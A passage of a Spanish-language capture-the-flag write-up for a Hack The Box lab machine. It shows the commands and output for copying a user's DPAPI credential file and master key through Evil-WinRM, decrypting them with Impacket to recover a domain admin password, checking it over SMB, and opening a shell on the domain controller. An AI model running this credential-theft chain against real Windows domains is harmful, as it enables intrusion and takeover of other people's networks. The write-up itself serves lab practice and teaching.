AQAAAJIBAAAAAAAAAQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAEiRqVXUSz0y3IeagtPkEBwAAACA6AAAARQBuAHQAZQByAHAAcgBpAHMAZQAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAIABEAGEAdABhAA0ACgAAAANmAADAAAAAEAAAAHEb7RgOmv+9Na4Okf93s5UAAAAABIAAAKAAAAAQAAAACtD/ejPwVzLZOMdWJSHNcNAAAAAxXrMDYlY3P7k8AxWLBmmyKBrAVVGhfnfVrkzLQu2ABNeu0R62bEFJ0CdfcBONlj8Jg2mtcVXXWuYPSiVDse/sOudQSf3ZGmYhCz21A8c6JCGLjWuS78fQnyLW5RVLLzZp2+6gEcSU1EsxFdHCp9cT1fHIHl0cXbIvGtfUdeIcxPq/nN5PY8TR3T8i7rw1h5fEzlCX7IFzIu0avyGPnrIDNgButIkHWX+xjrzWKXGEiGrMkbgiRvfdwFxb/XrET9Op8oGxLkI6Mr8QmFZbjS41FAAAADqxkFzw7vbQSYX1LftJiaf2waSc

Y decodearlo en nuestra máquina de atacantes:

❯ echo -n 'AQAAAJIBAAAAAAAAAQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAEiRqVXUSz0y3IeagtPkEBwAAACA6AAAARQBuAHQAZQByAHAAcgBpAHMAZQAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAIABEAGEAdABhAA0ACgAAAANmAADAAAAAEAAAAHEb7RgOmv+9Na4Okf93s5UAAAAABIAAAKAAAAAQAAAACtD/ejPwVzLZOMdWJSHNcNAAAAAxXrMDYlY3P7k8AxWLBmmyKBrAVVGhfnfVrkzLQu2ABNeu0R62bEFJ0CdfcBONlj8Jg2mtcVXXWuYPSiVDse/sOudQSf3ZGmYhCz21A8c6JCGLjWuS78fQnyLW5RVLLzZp2+6gEcSU1EsxFdHCp9cT1fHIHl0cXbIvGtfUdeIcxPq/nN5PY8TR3T8i7rw1h5fEzlCX7IFzIu0avyGPnrIDNgButIkHWX+xjrzWKXGEiGrMkbgiRvfdwFxb/XrET9Op8oGxLkI6Mr8QmFZbjS41FAAAADqxkFzw7vbQSYX1LftJiaf2waSc' | base64 -d > C8D69EBE9A43E9DEBF6B5FBD48B521B9

Como paso extra (pero que siempre recomiendo), revisamos que el archivo ha sido transferido correctamente desde la máquina víctima a nuestra máquina de atacantes utilizando su hash MD5. En la máquina víctima Windows podemos utilizar certutil para este propósito:

*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials> certutil -hashfile C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9 MD5

MD5 hash of C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9:
dd0259ec230bb91ef986e7b97835b0e4
CertUtil: -hashfile command completed successfully.

Y en nuestra máquina de atacantes (Linux) ejecutamos:

❯ md5sum C8D69EBE9A43E9DEBF6B5FBD48B521B9

dd0259ec230bb91ef986e7b97835b0e4  C8D69EBE9A43E9DEBF6B5FBD48B521B9

Ambos tienen el mismo hash MD5. Por lo que la integridad de la data está intacta.

Ahora bien, necesitamos obtener algunas “master keys” (llaves maestras) para extraer el contenido cifrado. Para ello primero necesitamos nuestro SID en el dominio, el cual puede ser obtenido fácilmente ejecutando whoami /user:

*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials> whoami /user

USER INFORMATION
----------------

User Name          SID
================== ==============================================
puppy\steph.cooper S-1-5-21-1487982659-1829050783-2281216199-1107

También podemos obtener el SID desde Bloodhound.

Una vez hemos obtenido nuestro SID, revisamos las master keys para éste:

*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials> Get-ChildItem -Hidden C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107


    Directory: C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a-hs-          3/8/2025   7:40 AM            740 556a2412-1275-4ccf-b721-e6a0b4f90407
-a-hs-         2/23/2025   2:36 PM             24 Preferred

Tenemos una master key. Descargamos este archivo como habíamos hecho anteriormente; pasando su contenido a base64:

*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials> [Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407'))

AgAAAAAAAAAAAAAANQA1ADYAYQAyADQAMQAyAC0AMQAyADcANQAtADQAYwBjAGYALQBiADcAMgAxAC0AZQA2AGEAMABiADQAZgA5ADAANAAwADcAAABqVXUSz0wAAAAAiAAAAAAAAABoAAAAAAAAAAAAAAAAAAAAdAEAAAAAAAACAAAAsj8xITRBgEgAZOArghULmlBGAAAJgAAAA2YAAPtTG5NorNzxhcfx4/jYgxj+JK0HBHMu8jL7YmpQvLiX7P3r8JgmUe6u9jRlDDjMOHDoZvKzrgIlOUbC0tm4g/4fwFIfMWBq0/fLkFUoEUWvl1/BQlIKAYfIoVXIhNRtc+KnqjXV7w+BAgAAAIIHeThOAhE+Lw/NTnPdszJQRgAACYAAAANmAAAnsQrcWYkrgMd0xLdAjCF9uEuKC2mzsDC0a8AOxgQxR93gmJxhUmVWDQ3j7+LCRX6JWd1L/NlzkmxDehild6MtoO3nd90f5dACAAAAAAEAAFgAAADzFsU+FoA2QrrPuakOpQmSSMbe5Djd8l+4J8uoHSit4+e1BHJIbO28uwtyRxl2Q7tk6e/jjlqROSxDoQUHc37jjVtn4SVdouDfm52kzZT2VheO6A0DqjDlEB19Qbzn9BTpGG4y7P8GuGyN81sbNoLN84yWe1mA15CSZPHx8frov6YwdLQEg7H8vyv9ZieGhBRwvpvp4gTur0SWGamc7WN590w8Vp98J1n3t3TF8H2otXCjnpM9m6exMiTfWpTWfN9FFiL2aC7Gzr/FamzlMQ5E5QAnk63b2T/dMJnp5oIU8cDPq+RCVRSxcdAgUOAZMxPs9Cc7BUD+ERVTMUi/Jp7MlVgK1cIeipAl/gZz5asyOJnbThLa2ylLAf0vaWZGPFQWaIRfc8ni2iVkUlgCO7bI9YDIwDyTGQw0Yz/vRE/EJvtB4bCJdW+Ecnk8TUbok3SGQoExL3I5Tm2a/F6/oscc9YlciWKEmqQ=

Y decodificándolo en nuestra máquina de atacantes:

❯ echo -n 'AgAAAAAAAAAAAAAANQA1ADYAYQAyADQAMQAyAC0AMQAyADcANQAtADQAYwBjAGYALQBiADcAMgAxAC0AZQA2AGEAMABiADQAZgA5ADAANAAwADcAAABqVXUSz0wAAAAAiAAAAAAAAABoAAAAAAAAAAAAAAAAAAAAdAEAAAAAAAACAAAAsj8xITRBgEgAZOArghULmlBGAAAJgAAAA2YAAPtTG5NorNzxhcfx4/jYgxj+JK0HBHMu8jL7YmpQvLiX7P3r8JgmUe6u9jRlDDjMOHDoZvKzrgIlOUbC0tm4g/4fwFIfMWBq0/fLkFUoEUWvl1/BQlIKAYfIoVXIhNRtc+KnqjXV7w+BAgAAAIIHeThOAhE+Lw/NTnPdszJQRgAACYAAAANmAAAnsQrcWYkrgMd0xLdAjCF9uEuKC2mzsDC0a8AOxgQxR93gmJxhUmVWDQ3j7+LCRX6JWd1L/NlzkmxDehild6MtoO3nd90f5dACAAAAAAEAAFgAAADzFsU+FoA2QrrPuakOpQmSSMbe5Djd8l+4J8uoHSit4+e1BHJIbO28uwtyRxl2Q7tk6e/jjlqROSxDoQUHc37jjVtn4SVdouDfm52kzZT2VheO6A0DqjDlEB19Qbzn9BTpGG4y7P8GuGyN81sbNoLN84yWe1mA15CSZPHx8frov6YwdLQEg7H8vyv9ZieGhBRwvpvp4gTur0SWGamc7WN590w8Vp98J1n3t3TF8H2otXCjnpM9m6exMiTfWpTWfN9FFiL2aC7Gzr/FamzlMQ5E5QAnk63b2T/dMJnp5oIU8cDPq+RCVRSxcdAgUOAZMxPs9Cc7BUD+ERVTMUi/Jp7MlVgK1cIeipAl/gZz5asyOJnbThLa2ylLAf0vaWZGPFQWaIRfc8ni2iVkUlgCO7bI9YDIwDyTGQw0Yz/vRE/EJvtB4bCJdW+Ecnk8TUbok3SGQoExL3I5Tm2a/F6/oscc9YlciWKEmqQ=' | base64 -d > 556a2412-1275-4ccf-b721-e6a0b4f90407

Ahora podemos utilizar dpapi.py de la suite de Impacket para extraer el contenido de los archivos DPAPI. Primero, extraemos el contenido de la masterkey (el segundo archivo que decodificamos) utilizando el SID de steph.cooper junto con su contraseña:

❯ impacket-dpapi masterkey -f 556a2412-1275-4ccf-b721-e6a0b4f90407 -sid 'S-1-5-21-1487982659-1829050783-2281216199-1107' -password 'ChefSteph2025!'

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[MASTERKEYFILE]
Version     :        2 (2)
Guid        : 556a2412-1275-4ccf-b721-e6a0b4f90407
Flags       :        0 (0)
Policy      : 4ccf1275 (1288639093)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)

Decrypted key with User Key (MD4 protected)
Decrypted key: 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84

Funcionó. Esto retorna un campo Decrypted key el cual es el importante.

Usamos el valor de Decrypted key del comando anterior para extraer el contenido del archivo DPAPI (el primer archivo que decodificamos/descargamos):

❯ impacket-dpapi credential -file C8D69EBE9A43E9DEBF6B5FBD48B521B9 -key '0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84'

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[CREDENTIAL]
LastWritten : 2025-03-08 15:54:29
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type        : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target      : Domain:target=PUPPY.HTB
Description :
Unknown     :
Username    : steph.cooper_adm
Unknown     : FivethChipOnItsWay2025!

Tenemos credenciales: steph.cooper_adm:FivethChipOnItsWay2025!.

Revisamos si estas credenciales funcionan para el servicio SMB:

❯ nxc smb 10.129.246.234 -u 'steph.cooper_adm' -p 'FivethChipOnItsWay2025!'

SMB         10.129.246.234  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.129.246.234  445    DC               [+] PUPPY.HTB\steph.cooper_adm:FivethChipOnItsWay2025! (Pwn3d!)

Funcionan. Pero esperen, hay más. Obtenemos el mensaje Pwn3d! para el servicio SMB. Ello quiere decir que el usuario steph.cooper_adm es un administrador/usuario privilegiado en esta máquina. Dado que la máquina se llamaba DC, se asume que este es el Domain Controller del dominio y por ende este usuario también es administrador del dominio. Todo esto puede ser corroborado de igual manera con Bloodhound.

Finalmente, podemos utilizar una herramienta como wmiexec.py de Impacket para obtener una shell en la máquina DC como este usuario privilegiado:

❯ impacket-wmiexec PUPPY.HTB/steph.cooper_adm:'FivethChipOnItsWay2025!'@10.129.246.234

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami

puppy\steph.cooper_adm

GG. Podemos extarer la flag de root en el Desktop del usuario Administrator.

~Happy Hacking.